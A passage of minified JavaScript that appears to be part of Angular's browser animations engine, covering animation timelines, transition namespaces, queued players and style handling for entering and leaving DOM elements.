Fi(Te,{type:1,animation:{type:2,steps:[],options:null},matchers:[(yt,Mt)=>!0],options:null,queryCount:0,depCount:0},y)}(y,this.states)}get containsQueries(){return this.ast.queryCount>0}matchTransition(y,D,Z,Le){return this.transitionFactories.find(yt=>yt.match(y,D,Z,Le))||null}matchStyles(y,D,Z){return this.fallbackTransition.buildStyles(y,D,Z)}}function Ni(Te,y,D){Te.has(y)?Te.has(D)||Te.set(D,Te.get(y)):Te.has(D)&&Te.set(y,Te.get(D))}const ei=new X1;class Zn{constructor(y,D,Z){this.bodyNode=y,this._driver=D,this._normalizer=Z,this._animations=new Map,this._playersById=new Map,this.players=[]}register(y,D){const Z=[],Le=[],rt=T1(this._driver,D,Z,Le);if(Z.length)throw function Oe(Te){return new n.vHH(3503,!1)}();this._animations.set(y,rt)}_buildPlayer(y,D,Z){const Le=y.element,rt=P(0,this._normalizer,0,y.keyframes,D,Z);return this._driver.animate(Le,rt,y.duration,y.delay,y.easing,[],!0)}create(y,D,Z={}){const Le=[],rt=this._animations.get(y);let yt;const Mt=new Map;if(rt?(yt=L1(this._driver,D,rt,It,_t,new Map,new Map,Z,ei,Le),yt.forEach(o1=>{const l1=_e(Mt,o1.element,new Map);o1.postStyleProps.forEach(F1=>l1.set(F1,null))})):(Le.push(function Qe(){return new n.vHH(3300,!1)}()),yt=[]),Le.length)throw function Ye(Te){return new n.vHH(3504,!1)}();Mt.forEach((o1,l1)=>{o1.forEach((F1,A1)=>{o1.set(A1,this._driver.computeStyle(l1,A1,s.l3))})});const Ut=pe(yt.map(o1=>{const l1=Mt.get(o1.element);return this._buildPlayer(o1,new Map,l1)}));return this._playersById.set(y,Ut),Ut.onDestroy(()=>this.destroy(y)),this.players.push(Ut),Ut}destroy(y){const D=this._getPlayer(y);D.destroy(),this._playersById.delete(y);const Z=this.players.indexOf(D);Z>=0&&this.players.splice(Z,1)}_getPlayer(y){const D=this._playersById.get(y);if(!D)throw function qe(Te){return new n.vHH(3301,!1)}();return D}listen(y,D,Z,Le){const rt=X(D,"","","");return w(this._getPlayer(y),Z,rt,Le),()=>{}}command(y,D,Z,Le){if("register"==Z)return void this.register(y,Le[0]);if("create"==Z)return void this.create(y,D,Le[0]||{});const rt=this._getPlayer(y);switch(Z){case"play":rt.play();break;case"pause":rt.pause();break;case"reset":rt.reset();break;case"restart":rt.restart();break;case"finish":rt.finish();break;case"init":rt.init();break;case"setPosition":rt.setPosition(parseFloat(Le[0]));break;case"destroy":this.destroy(y)}}}const Hi="ng-animate-queued",Vi="ng-animate-disabled",Bi=[],Ji={namespaceId:"",setForRemoval:!1,setForMove:!1,hasAnimation:!1,removedBeforeQueried:!1},bi={namespaceId:"",setForMove:!1,setForRemoval:!1,hasAnimation:!1,removedBeforeQueried:!0},mn="__ng_removed";class ai{get params(){return this.options.params}constructor(y,D=""){this.namespaceId=D;const Z=y&&y.hasOwnProperty("value");if(this.value=function Ci(Te){return Te??null}(Z?y.value:y),Z){const rt=Ae(y);delete rt.value,this.options=rt}else this.options={};this.options.params||(this.options.params={})}absorbOptions(y){const D=y.params;if(D){const Z=this.options.params;Object.keys(D).forEach(Le=>{null==Z[Le]&&(Z[Le]=D[Le])})}}}const jn="void",fi=new ai(jn);class Ui{constructor(y,D,Z){this.id=y,this.hostElement=D,this._engine=Z,this.players=[],this._triggers=new Map,this._queue=[],this._elementListeners=new Map,this._hostClassName="ng-tns-"+y,un(D,this._hostClassName)}listen(y,D,Z,Le){if(!this._triggers.has(D))throw function Ke(Te,y){return new n.vHH(3302,!1)}();if(null==Z||0==Z.length)throw function dt(Te){return new n.vHH(3303,!1)}();if(!function Oi(Te){return"start"==Te||"done"==Te}(Z))throw function bt(Te,y){return new n.vHH(3400,!1)}();const rt=_e(this._elementListeners,y,[]),yt={name:D,phase:Z,callback:Le};rt.push(yt);const Mt=_e(this._engine.statesByElement,y,new Map);return Mt.has(D)||(un(y,kt),un(y,kt+"-"+D),Mt.set(D,fi)),()=>{this._engine.afterFlush(()=>{const Ft=rt.indexOf(yt);Ft>=0&&rt.splice(Ft,1),this._triggers.has(D)||Mt.delete(D)})}}register(y,D){return!this._triggers.has(y)&&(this._triggers.set(y,D),!0)}_getTrigger(y){const D=this._triggers.get(y);if(!D)throw function ze(Te){return new n.vHH(3401,!1)}();return D}trigger(y,D,Z,Le=!0){const rt=this._getTrigger(D),yt=new Li(this.id,D,y);let Mt=this._engine.statesByElement.get(y);Mt||(un(y,kt),un(y,kt+"-"+D),this._engine.statesByElement.set(y,Mt=new Map));let Ft=Mt.get(D);const Ut=new ai(Z,this.id);if(!(Z&&Z.hasOwnProperty("value"))&&Ft&&Ut.absorbOptions(Ft.options),Mt.set(D,Ut),Ft||(Ft=fi),Ut.value!==jn&&Ft.value===Ut.value){if(!function g2(Te,y){const D=Object.keys(Te),Z=Object.keys(y);if(D.length!=Z.length)return!1;for(let Le=0;Le<D.length;Le++){const rt=D[Le];if(!y.hasOwnProperty(rt)||Te[rt]!==y[rt])return!1}return!0}(Ft.params,Ut.params)){const S1=[],Q1=rt.matchStyles(Ft.value,Ft.params,S1),tn=rt.matchStyles(Ut.value,Ut.params,S1);S1.length?this._engine.reportError(S1):this._engine.afterFlush(()=>{at(y,Q1),Ee(y,tn)})}return}const F1=_e(this._engine.playersByElement,y,[]);F1.forEach(S1=>{S1.namespaceId==this.id&&S1.triggerName==D&&S1.queued&&S1.destroy()});let A1=rt.matchTransition(Ft.value,Ut.value,y,Ut.params),C1=!1;if(!A1){if(!Le)return;A1=rt.fallbackTransition,C1=!0}return this._engine.totalQueuedPlayers++,this._queue.push({element:y,triggerName:D,transition:A1,fromState:Ft,toState:Ut,player:yt,isFallbackTransition:C1}),C1||(un(y,Hi),yt.onStart(()=>{en(y,Hi)})),yt.onDone(()=>{let S1=this.players.indexOf(yt);S1>=0&&this.players.splice(S1,1);const Q1=this._engine.playersByElement.get(y);if(Q1){let tn=Q1.indexOf(yt);tn>=0&&Q1.splice(tn,1)}}),this.players.push(yt),F1.push(yt),yt}deregister(y){this._triggers.delete(y),this._engine.statesByElement.forEach(D=>D.delete(y)),this._elementListeners.forEach((D,Z)=>{this._elementListeners.set(Z,D.filter(Le=>Le.name!=y))})}clearElementCache(y){this._engine.statesByElement.delete(y),this._elementListeners.delete(y);const D=this._engine.playersByElement.get(y);D&&(D.forEach(Z=>Z.destroy()),this._engine.playersByElement.delete(y))}_signalRemovalForInnerTriggers(y,D){const Z=this._engine.driver.query(y,Fe,!0);Z.forEach(Le=>{if(Le[mn])return;const rt=this._engine.fetchNamespacesByElement(Le);rt.size?rt.forEach(yt=>yt.triggerLeaveAnimation(Le,D,!1,!0)):this.clearElementCache(Le)}),this._engine.afterFlushAnimationsDone(()=>Z.forEach(Le=>this.clearElementCache(Le)))}triggerLeaveAnimation(y,D,Z,Le){const rt=this._engine.statesByElement.get(y),yt=new Map;if(rt){const Mt=[];if(rt.forEach((Ft,Ut)=>{if(yt.set(Ut,Ft.value),this._triggers.has(Ut)){const o1=this.trigger(y,Ut,jn,Le);o1&&Mt.push(o1)}}),Mt.length)return this._engine.markElementAsRemoved(this.id,y,!0,D,yt),Z&&pe(Mt).onDone(()=>this._engine.processLeaveNode(y)),!0}return!1}prepareLeaveAnimationListeners(y){const D=this._elementListeners.get(y),Z=this._engine.statesByElement.get(y);if(D&&Z){const Le=new Set;D.forEach(rt=>{const yt=rt.name;if(Le.has(yt))return;Le.add(yt);const Ft=this._triggers.get(yt).fallbackTransition,Ut=Z.get(yt)||fi,o1=new ai(jn),l1=new Li(this.id,yt,y);this._engine.totalQueuedPlayers++,this._queue.push({element:y,triggerName:yt,transition:Ft,fromState:Ut,toState:o1,player:l1,isFallbackTransition:!0})})}}removeNode(y,D){const Z=this._engine;if(y.childElementCount&&this._signalRemovalForInnerTriggers(y,D),this.triggerLeaveAnimation(y,D,!0))return;let Le=!1;if(Z.totalAnimations){const rt=Z.players.length?Z.playersByQueriedElement.get(y):[];if(rt&&rt.length)Le=!0;else{let yt=y;for(;yt=yt.parentNode;)if(Z.statesByElement.get(yt)){Le=!0;break}}}if(this.prepareLeaveAnimationListeners(y),Le)Z.markElementAsRemoved(this.id,y,!1,D);else{const rt=y[mn];(!rt||rt===Ji)&&(Z.afterFlush(()=>this.clearElementCache(y)),Z.destroyInnerAnimations(y),Z._onRemovalComplete(y,D))}}insertNode(y,D){un(y,this._hostClassName)}drainQueuedTransitions(y){const D=[];return this._queue.forEach(Z=>{const Le=Z.player;if(Le.destroyed)return;const rt=Z.element,yt=this._elementListeners.get(rt);yt&&yt.forEach(Mt=>{if(Mt.name==Z.triggerName){const Ft=X(rt,Z.triggerName,Z.fromState.value,Z.toState.value);Ft._data=y,w(Z.player,Mt.phase,Ft,Mt.callback)}}),Le.markedForDestroy?this._engine.afterFlush(()=>{Le.destroy()}):D.push(Z)}),this._queue=[],D.sort((Z,Le)=>{const rt=Z.transition.ast.depCount,yt=Le.transition.ast.depCount;return 0==rt||0==yt?rt-yt:this._engine.driver.containsElement(Z.element,Le.element)?1:-1})}destroy(y){this.players.forEach(D=>D.destroy()),this._signalRemovalForInnerTriggers(this.hostElement,y)}elementContainsData(y){let D=!1;return this._elementListeners.has(y)&&(D=!0),D=!!this._queue.find(Z=>Z.element===y)||D,D}}class o2{_onRemovalComplete(y,D){this.onRemovalComplete(y,D)}constructor(y,D,Z){this.bodyNode=y,this.driver=D,this._normalizer=Z,this.players=[],this.newHostElements=new Map,this.playersByElement=new Map,this.playersByQueriedElement=new Map,this.statesByElement=new Map,this.disabledNodes=new Set,this.totalAnimations=0,this.totalQueuedPlayers=0,this._namespaceLookup={},this._namespaceList=[],this._flushFns=[],this._whenQuietFns=[],this.namespacesByHostElement=new Map,this.collectedEnterElements=[],this.collectedLeaveElements=[],this.onRemovalComplete=(Le,rt)=>{}}get queuedPlayers(){const y=[];return this._namespaceList.forEach(D=>{D.players.forEach(Z=>{Z.queued&&y.push(Z)})}),y}createNamespace(y,D){const Z=new Ui(y,D,this);return this.bodyNode&&this.driver.containsElement(this.bodyNode,D)?this._balanceNamespaceList(Z,D):(this.newHostElements.set(D,Z),this.collectEnterElement(D)),this._namespaceLookup[y]=Z}_balanceNamespaceList(y,D){const Z=this._namespaceList,Le=this.namespacesByHostElement;if(Z.length-1>=0){let yt=!1,Mt=this.driver.getParentElement(D);for(;Mt;){const Ft=Le.get(Mt);if(Ft){const Ut=Z.indexOf(Ft);Z.splice(Ut+1,0,y),yt=!0;break}Mt=this.driver.getParentElement(Mt)}yt||Z.unshift(y)}else Z.push(y);return Le.set(D,y),y}register(y,D){let Z=this._namespaceLookup[y];return Z||(Z=this.createNamespace(y,D)),Z}registerTrigger(y,D,Z){let Le=this._namespaceLookup[y];Le&&Le.register(D,Z)&&this.totalAnimations++}destroy(y,D){if(!y)return;const Z=this._fetchNamespace(y);this.afterFlush(()=>{this.namespacesByHostElement.delete(Z.hostElement),delete this._namespaceLookup[y];const Le=this._namespaceList.indexOf(Z);Le>=0&&this._namespaceList.splice(Le,1)}),this.afterFlushAnimationsDone(()=>Z.destroy(D))}_fetchNamespace(y){return this._namespaceLookup[y]}fetchNamespacesByElement(y){const D=new Set,Z=this.statesByElement.get(y);if(Z)for(let Le of Z.values())if(Le.namespaceId){const rt=this._fetchNamespace(Le.namespaceId);rt&&D.add(rt)}return D}trigger(y,D,Z,Le){if(ti(D)){const rt=this._fetchNamespace(y);if(rt)return rt.trigger(D,Z,Le),!0}return!1}insertNode(y,D,Z,Le){if(!ti(D))return;const rt=D[mn];if(rt&&rt.setForRemoval){rt.setForRemoval=!1,rt.setForMove=!0;const yt=this.collectedLeaveElements.indexOf(D);yt>=0&&this.collectedLeaveElements.splice(yt,1)}if(y){const yt=this._fetchNamespace(y);yt&&yt.insertNode(D,Z)}Le&&this.collectEnterElement(D)}collectEnterElement(y){this.collectedEnterElements.push(y)}markElementAsDisabled(y,D){D?this.disabledNodes.has(y)||(this.disabledNodes.add(y),un(y,Vi)):this.disabledNodes.has(y)&&(this.disabledNodes.delete(y),en(y,Vi))}removeNode(y,D,Z,Le){if(ti(D)){const rt=y?this._fetchNamespace(y):null;if(rt?rt.removeNode(D,Le):this.markElementAsRemoved(y,D,!1,Le),Z){const yt=this.namespacesByHostElement.get(D);yt&&yt.id!==y&&yt.removeNode(D,Le)}}else this._onRemovalComplete(D,Le)}markElementAsRemoved(y,D,Z,Le,rt){this.collectedLeaveElements.push(D),D[mn]={namespaceId:y,setForRemoval:Le,hasAnimation:Z,removedBeforeQueried:!1,previousTriggersValues:rt}}listen(y,D,Z,Le,rt){return ti(D)?this._fetchNamespace(y).listen(D,Z,Le,rt):()=>{}}_buildInstruction(y,D,Z,Le,rt){return y.transition.build(this.driver,y.element,y.fromState.value,y.toState.value,Z,Le,y.fromState.options,y.toState.options,D,rt)}destroyInnerAnimations(y){let D=this.driver.query(y,Fe,!0);D.forEach(Z=>this.destroyActiveAnimationsForElement(Z)),0!=this.playersByQueriedElement.size&&(D=this.driver.query(y,Pe,!0),D.forEach(Z=>this.finishActiveQueriedAnimationOnElement(Z)))}destroyActiveAnimationsForElement(y){const D=this.playersByElement.get(y);D&&D.forEach(Z=>{Z.queued?Z.markedForDestroy=!0:Z.destroy()})}finishActiveQueriedAnimationOnElement(y){const D=this.playersByQueriedElement.get(y);D&&D.forEach(Z=>Z.finish())}whenRenderingDone(){return new Promise(y=>{if(this.players.length)return pe(this.players).onDone(()=>y());y()})}processLeaveNode(y){const D=y[mn];if(D&&D.setForRemoval){if(y[mn]=Ji,D.namespaceId){this.destroyInnerAnimations(y);const Z=this._fetchNamespace(D.namespaceId);Z&&Z.clearElementCache(y)}this._onRemovalComplete(y,D.setForRemoval)}y.classList?.contains(Vi)&&this.markElementAsDisabled(y,!1),this.driver.query(y,".ng-animate-disabled",!0).forEach(Z=>{this.markElementAsDisabled(Z,!1)})}flush(y=-1){let D=[];if(this.newHostElements.size&&(this.newHostElements.forEach((Z,Le)=>this._balanceNamespaceList(Z,Le)),this.newHostElements.clear()),this.totalAnimations&&this.collectedEnterElements.length)for(let Z=0;Z<this.collectedEnterElements.length;Z++)un(this.collectedEnterElements[Z],"ng-star-inserted");if(this._namespaceList.length&&(this.totalQueuedPlayers||this.collectedLeaveElements.length)){const Z=[];try{D=this._flushAnimations(Z,y)}finally{for(let Le=0;Le<Z.length;Le++)Z[Le]()}}else for(let Z=0;Z<this.collectedLeaveElements.length;Z++)this.processLeaveNode(this.collectedLeaveElements[Z]);if(this.totalQueuedPlayers=0,this.collectedEnterElements.length=0,this.collectedLeaveElements.length=0,this._flushFns.forEach(Z=>Z()),this._flushFns=[],this._whenQuietFns.length){const Z=this._whenQuietFns;this._whenQuietFns=[],D.length?pe(D).onDone(()=>{Z.forEach(Le=>Le())}):Z.forEach(Le=>Le())}}reportError(y){throw function De(Te){return new n.vHH(3402,!1)}()}_flushAnimations(y,D){const Z=new X1,Le=[],rt=new Map,yt=[],Mt=new Map,Ft=new Map,Ut=new Map,o1=new Set;this.disabledNodes.forEach(v1=>{o1.add(v1);const y1=this.driver.query(v1,".ng-animate-queued",!0);for(let M1=0;M1<y1.length;M1++)o1.add(y1[M1])});const l1=this.bodyNode,F1=Array.from(this.statesByElement.keys()),A1=Gi(F1,this.collectedEnterElements),C1=new Map;let S1=0;A1.forEach((v1,y1)=>{const M1=It+S1++;C1.set(y1,M1),v1.forEach(H1=>un(H1,M1))});const Q1=[],tn=new Set,Tn=new Set;for(let v1=0;v1<this.collectedLeaveElements.length;v1++){const y1=this.collectedLeaveElements[v1],M1=y1[mn];M1&&M1.setForRemoval&&(Q1.push(y1),tn.add(y1),M1.hasAnimation?this.driver.query(y1,".ng-star-inserted",!0).forEach(H1=>tn.add(H1)):Tn.add(y1))}const En=new Map,wn=Gi(F1,Array.from(tn));wn.forEach((v1,y1)=>{const M1=_t+S1++;En.set(y1,M1),v1.forEach(H1=>un(H1,M1))}),y.push(()=>{A1.forEach((v1,y1)=>{const M1=C1.get(y1);v1.forEach(H1=>en(H1,M1))}),wn.forEach((v1,y1)=>{const M1=En.get(y1);v1.forEach(H1=>en(H1,M1))}),Q1.forEach(v1=>{this.processLeaveNode(v1)})});const e2=[],ni=[];for(let v1=this._namespaceList.length-1;v1>=0;v1--)this._namespaceList[v1].drainQueuedTransitions(D).forEach(M1=>{const H1=M1.player,N=M1.element;if(e2.push(H1),this.collectedEnterElements.length){const s1=N[mn];if(s1&&s1.setForMove){if(s1.previousTriggersValues&&s1.previousTriggersValues.has(M1.triggerName)){const K1=s1.previousTriggersValues.get(M1.triggerName),g1=this.statesByElement.get(M1.element);if(g1&&g1.has(M1.triggerName)){const B1=g1.get(M1.triggerName);B1.value=K1,g1.set(M1.triggerName,B1)}}return void H1.destroy()}}const he=!l1||!this.driver.containsElement(l1,N),W=En.get(N),Ve=C1.get(N),ht=this._buildInstruction(M1,Z,Ve,W,he);if(ht.errors&&ht.errors.length)return void ni.push(ht);if(he)return H1.onStart(()=>at(N,ht.fromStyles)),H1.onDestroy(()=>Ee(N,ht.toStyles)),void Le.push(H1);if(M1.isFallbackTransition)return H1.onStart(()=>at(N,ht.fromStyles)),H1.onDestroy(()=>Ee(N,ht.toStyles)),void Le.push(H1);const Ht=[];ht.timelines.forEach(s1=>{s1.stretchStartingKeyframe=!0,this.disabledNodes.has(s1.element)||Ht.push(s1)}),ht.timelines=Ht,Z.append(N,ht.timelines),yt.push({instruction:ht,player:H1,element:N}),ht.queriedElements.forEach(s1=>_e(Mt,s1,[]).push(H1)),ht.preStyleProps.forEach((s1,K1)=>{if(s1.size){let g1=Ft.get(K1);g1||Ft.set(K1,g1=new Set),s1.forEach((B1,I1)=>g1.add(I1))}}),ht.postStyleProps.forEach((s1,K1)=>{let g1=Ut.get(K1);g1||Ut.set(K1,g1=new Set),s1.forEach((B1,I1)=>g1.add(I1))})});if(ni.length){const v1=[];ni.forEach(y1=>{v1.push(function ve(Te,y){return new n.vHH(3505,!1)}())}),e2.forEach(y1=>y1.destroy()),this.reportError(v1)}const Un=new Map,hn=new Map;yt.forEach(v1=>{const y1=v1.element;Z.has(y1)&&(hn.set(y1,y1),this._beforeAnimationBuild(v1.player.namespaceId,v1.instruction,Un))}),Le.forEach(v1=>{const y1=v1.element;this._getPreviousPlayers(y1,!1,v1.namespaceId,v1.triggerName,null).forEach(H1=>{_e(Un,y1,[]).push(H1),H1.destroy()})});const zn=Q1.filter(v1=>pi(v1,Ft,Ut)),$1=new Map;bn($1,this.driver,Tn,Ut,s.l3).forEach(v1=>{pi(v1,Ft,Ut)&&zn.push(v1)});const z2=new Map;A1.forEach((v1,y1)=>{bn(z2,this.driver,new Set(v1),Ft,s.k1)}),zn.forEach(v1=>{const y1=$1.get(v1),M1=z2.get(v1);$1.set(v1,new Map([...Array.from(y1?.entries()??[]),...Array.from(M1?.entries()??[])]))});const l2=[],Y2=[],W2={};yt.forEach(v1=>{const{element:y1,player:M1,instruction:H1}=v1;if(Z.has(y1)){if(o1.has(y1))return M1.onDestroy(()=>Ee(y1,H1.toStyles)),M1.disabled=!0,M1.overrideTotalTime(H1.totalTime),void Le.push(M1);let N=W2;if(hn.size>1){let W=y1;const Ve=[];for(;W=W.parentNode;){const ht=hn.get(W);if(ht){N=ht;break}Ve.push(W)}Ve.forEach(ht=>hn.set(ht,N))}const he=this._buildAnimation(M1.namespaceId,H1,Un,rt,z2,$1);if(M1.setRealPlayer(he),N===W2)l2.push(M1);else{const W=this.playersByElement.get(N);W&&W.length&&(M1.parentPlayer=pe(W)),Le.push(M1)}}else at(y1,H1.fromStyles),M1.onDestroy(()=>Ee(y1,H1.toStyles)),Y2.push(M1),o1.has(y1)&&Le.push(M1)}),Y2.forEach(v1=>{const y1=rt.get(v1.element);if(y1&&y1.length){const M1=pe(y1);v1.setRealPlayer(M1)}}),Le.forEach(v1=>{v1.parentPlayer?v1.syncPlayerEvents(v1.parentPlayer):v1.destroy()});for(let v1=0;v1<Q1.length;v1++){const y1=Q1[v1],M1=y1[mn];if(en(y1,_t),M1&&M1.hasAnimation)continue;let H1=[];if(Mt.size){let he=Mt.get(y1);he&&he.length&&H1.push(...he);let W=this.driver.query(y1,Pe,!0);for(let Ve=0;Ve<W.length;Ve++){let ht=Mt.get(W[Ve]);ht&&ht.length&&H1.push(...ht)}}const N=H1.filter(he=>!he.destroyed);N.length?Mi(this,y1,N):this.processLeaveNode(y1)}return Q1.length=0,l2.forEach(v1=>{this.players.push(v1),v1.onDone(()=>{v1.destroy();const y1=this.players.indexOf(v1);this.players.splice(y1,1)}),v1.play()}),l2}elementContainsData(y,D){let Z=!1;const Le=D[mn];return Le&&Le.setForRemoval&&(Z=!0),this.playersByElement.has(D)&&(Z=!0),this.playersByQueriedElement.has(D)&&(Z=!0),this.statesByElement.has(D)&&(Z=!0),this._fetchNamespace(y).elementContainsData(D)||Z}afterFlush(y){this._flushFns.push(y)}afterFlushAnimationsDone(y){this._whenQuietFns.push(y)}_getPreviousPlayers(y,D,Z,Le,rt){let yt=[];if(D){const Mt=this.playersByQueriedElement.get(y);Mt&&(yt=Mt)}else{const Mt=this.playersByElement.get(y);if(Mt){const Ft=!rt||rt==jn;Mt.forEach(Ut=>{Ut.queued||!Ft&&Ut.triggerName!=Le||yt.push(Ut)})}}return(Z||Le)&&(yt=yt.filter(Mt=>!(Z&&Z!=Mt.namespaceId||Le&&Le!=Mt.triggerName))),yt}_beforeAnimationBuild(y,D,Z){const rt=D.element,yt=D.isRemovalTransition?void 0:y,Mt=D.isRemovalTransition?void 0:D.triggerName;for(const Ft of D.timelines){const Ut=Ft.element,o1=Ut!==rt,l1=_e(Z,Ut,[]);this._getPreviousPlayers(Ut,o1,yt,Mt,D.toState).forEach(A1=>{const C1=A1.getRealPlayer();C1.beforeDestroy&&C1.beforeDestroy(),A1.destroy(),l1.push(A1)})}at(rt,D.fromStyles)}_buildAnimation(y,D,Z,Le,rt,yt){const Mt=D.triggerName,Ft=D.element,Ut=[],o1=new Set,l1=new Set,F1=D.timelines.map(C1=>{const S1=C1.element;o1.add(S1);const Q1=S1[mn];if(Q1&&Q1.removedBeforeQueried)return new s.ZN(C1.duration,C1.delay);const tn=S1!==Ft,Tn=function m2(Te){const y=[];return _n(Te,y),y}((Z.get(S1)||Bi).map(Un=>Un.getRealPlayer())).filter(Un=>!!Un.element&&Un.element===S1),En=rt.get(S1),wn=yt.get(S1),e2=P(0,this._normalizer,0,C1.keyframes,En,wn),ni=this._buildPlayer(C1,e2,Tn);if(C1.subTimeline&&Le&&l1.add(S1),tn){const Un=new Li(y,Mt,S1);Un.setRealPlayer(ni),Ut.push(Un)}return ni});Ut.forEach(C1=>{_e(this.playersByQueriedElement,C1.element,[]).push(C1),C1.onDone(()=>function ki(Te,y,D){let Z=Te.get(y);if(Z){if(Z.length){const Le=Z.indexOf(D);Z.splice(Le,1)}0==Z.length&&Te.delete(y)}return Z}(this.playersByQueriedElement,C1.element,C1))}),o1.forEach(C1=>un(C1,be));const A1=pe(F1);return A1.onDestroy(()=>{o1.forEach(C1=>en(C1,be)),Ee(Ft,D.toStyles)}),l1.forEach(C1=>{_e(Le,C1,[]).push(A1)}),A1}_buildPlayer(y,D,Z){return D.length>0?this.driver.animate(y.element,D,y.duration,y.delay,y.easing,Z):new s.ZN(y.duration,y.delay)}}class Li{constructor(y,D,Z){this.namespaceId=y,this.triggerName=D,this.element=Z,this._player=new s.ZN,this._containsRealPlayer=!1,this._queuedCallbacks=new Map,this.destroyed=!1,this.parentPlayer=null,this.markedForDestroy=!1,this.disabled=!1,this.queued=!0,this.totalTime=0}setRealPlayer(y){this._containsRealPlayer||(this._player=y,this._queuedCallbacks.forEach((D,Z)=>{D.forEach(Le=>w(y,Z,void 0,Le))}),this._queuedCallbacks.clear(),this._containsRealPlayer=!0,this.overrideTotalTime(y.totalTime),this.queued=!1)}getRealPlayer(){return this._player}overrideTotalTime(y){this.totalTime=y}syncPlayerEvents(y){const D=this._player;D.triggerCallback&&y.onStart(()=>D.triggerCallback("start")),y.onDone(()=>this.finish()),y.onDestroy(()=>this.destroy())}_queueEvent(y,D){_e(this._queuedCallbacks,y,[]).push(D)}onDone(y){this.queued&&this._queueEvent("done",y),this._player.onDone(y)}onStart(y){this.queued&&this._queueEvent("start",y),this._player.onStart(y)}onDestroy(y){this.queued&&this._queueEvent("destroy",y),this._player.onDestroy(y)}init(){this._player.init()}hasStarted(){return!this.queued&&this._player.hasStarted()}play(){!this.queued&&this._player.play()}pause(){!this.queued&&this._player.pause()}restart(){!this.queued&&this._player.restart()}finish(){this._player.finish()}destroy(){this.destroyed=!0,this._player.destroy()}reset(){!this.queued&&this._player.reset()}setPosition(y){this.queued||this._player.setPosition(y)}getPosition(){return this.queued?0:this._player.getPosition()}triggerCallback(y){const D=this._player;D.triggerCallback&&D.triggerCallback(y)}}function ti(Te){return Te&&1===Te.nodeType}function Xi(Te,y){const D=Te.style.display;return Te.style.display=y??"none",D}function bn(Te,y,D,Z,Le){const rt=[];D.forEach(Ft=>rt.push(Xi(Ft)));const yt=[];Z.forEach((Ft,Ut)=>{const o1=new Map;Ft.forEach(l1=>{const F1=y.computeStyle(Ut,l1,Le);o1.set(l1,F1),(!F1||0==F1.length)&&(Ut[mn]=bi,yt.push(Ut))}),Te.set(Ut,o1)});let Mt=0;return D.forEach(Ft=>Xi(Ft,rt[Mt++])),yt}function Gi(Te,y){const D=new Map;if(Te.forEach(Mt=>D.set(Mt,[])),0==y.length)return D;const Z=1,Le=new Set(y),rt=new Map;function yt(Mt){if(!Mt)return Z;let Ft=rt.get(Mt);if(Ft)return Ft;const Ut=Mt.parentNode;return Ft=D.has(Ut)?Ut:Le.has(Ut)?Z:yt(Ut),rt.set(Mt,Ft),Ft}return y.forEach(Mt=>{const Ft=yt(Mt);Ft!==Z&&D.get(Ft).push(Mt)}),D}function un(Te,y){Te.classList?.add(y)}function en(Te,y){Te.classList?.remove(y)}function Mi(Te,y,D){pe(D).onDone(()=>Te.processLeaveNode(y))}function _n(Te,y){for(let D=0;D<Te.length;D++){const Z=Te[D];Z instanceof s.ZE?_n(Z.players,y):y.push(Z)}}function pi(Te,y,D){const Z=D.get(Te);if(!Z)return!1;let Le=y.get(Te);return Le?Z.forEach(rt=>Le.add(rt)):y.set(Te,Z),D.delete(Te),!0}class si{constructor(y,D,Z){this.bodyNode=y,this._driver=D,this._normalizer=Z,this._triggerCache={},this.onRemovalComplete=(Le,rt)=>{},this._transitionEngine=new o2(y,D,Z),this._timelineEngine=new Zn(y,D,Z),this._transitionEngine.onRemovalComplete=(Le,rt)=>this.onRemovalComplete(Le,rt)}registerTrigger(y,D,Z,Le,rt){const yt=y+"-"+Le;let Mt=this._triggerCache[yt];if(!Mt){const Ft=[],Ut=[],o1=T1(this._driver,rt,Ft,Ut);if(Ft.length)throw function Ze(Te,y){return new n.vHH(3404,!1)}();Mt=function Ti(Te,y,D){return new qi(Te,y,D)}(Le,o1,this._normalizer),this._triggerCache[yt]=Mt}this._transitionEngine.registerTrigger(D,Le,Mt)}register(y,D){this._transitionEngine.register(y,D)}destroy(y,D){this._transitionEngine.destroy(y,D)}onInsert(y,D,Z,Le){this._transitionEngine.insertNode(y,D,Z,Le)}onRemove(y,D,Z,Le){this._transitionEngine.removeNode(y,D,Le||!1,Z)}disableAnimations(y,D){this._transitionEngine.markElementAsDisabled(y,D)}process(y,D,Z,Le){if("@"==Z.charAt(0)){const[rt,yt]=ct(Z);this._timelineEngine.command(rt,D,yt,Le)}else this._transitionEngine.trigger(y,D,Z,Le)}listen(y,D,Z,Le,rt){if("@"==Z.charAt(0)){const[yt,Mt]=ct(Z);return this._timelineEngine.listen(yt,D,Mt,rt)}return this._transitionEngine.listen(y,D,Z,Le,rt)}flush(y=-1){this._transitionEngine.flush(y)}get players(){return this._transitionEngine.players.concat(this._timelineEngine.players)}whenRenderingDone(){return this._transitionEngine.whenRenderingDone()}}let v2=(()=>{class Te{constructor(D,Z,Le){this._element=D,this._startStyles=Z,this._endStyles=Le,this._state=0;let rt=Te.initialStylesByElement.get(D);rt||Te.initialStylesByElement.set(D,rt=new Map),this._initialStyles=rt}start(){this._state<1&&(this._startStyles&&Ee(this._element,this._startStyles,this._initialStyles),this._state=1)}finish(){this.start(),this._state<2&&(Ee(this._element,this._initialStyles),this._endStyles&&(Ee(this._element,this._endStyles),this._endStyles=null),this._state=1)}destroy(){this.finish(),this._state<3&&(Te.initialStylesByElement.delete(this._element),this._startStyles&&(at(this._element,this._startStyles),this._endStyles=null),this._endStyles&&(at(this._element,this._endStyles),this._endStyles=null),Ee(this._element,this._initialStyles),this._state=3)}}return Te.initialStylesByElement=new WeakMap,Te})();function xn(Te){let y=null;return Te.forEach((D,Z)=>{(function D2(Te){return"display"===Te||"position"===Te})(Z)&&(y=y||new Map,y.set(Z,D))}),y}class Qn{constructor(y,D,Z,Le){this.element=y,this.keyframes=D,this.options=Z,this._specialStyles=Le,this._onDoneFns=[],this._onStartFns=[],this._onDestroyFns=[],this._initialized=!1,this._finished=!1,this._started=!1,this._destroyed=!1,this._originalOnDoneFns=[],this._originalOnStartFns=[],this.time=0,this.parentPlayer=null,this.currentSnapshot=new Map,this._duration=Z.duration,this._delay=Z.delay||0,this.time=this._duration+this._delay}_onFinish(){this._finished||(this._finished=!0,this._onDoneFns.forEach(y=>y()),this._onDoneFns=[])}init(){this._buildPlayer(),this._preparePlayerBeforeStart()}_buildPlayer(){if(this._initialized)return;this._initialized=!0;const y=this.keyframes;this.domPlayer=this._triggerWebAnimation(this.element,y,this.options),this._finalKeyframe=y.length?y[y.length-1]:new 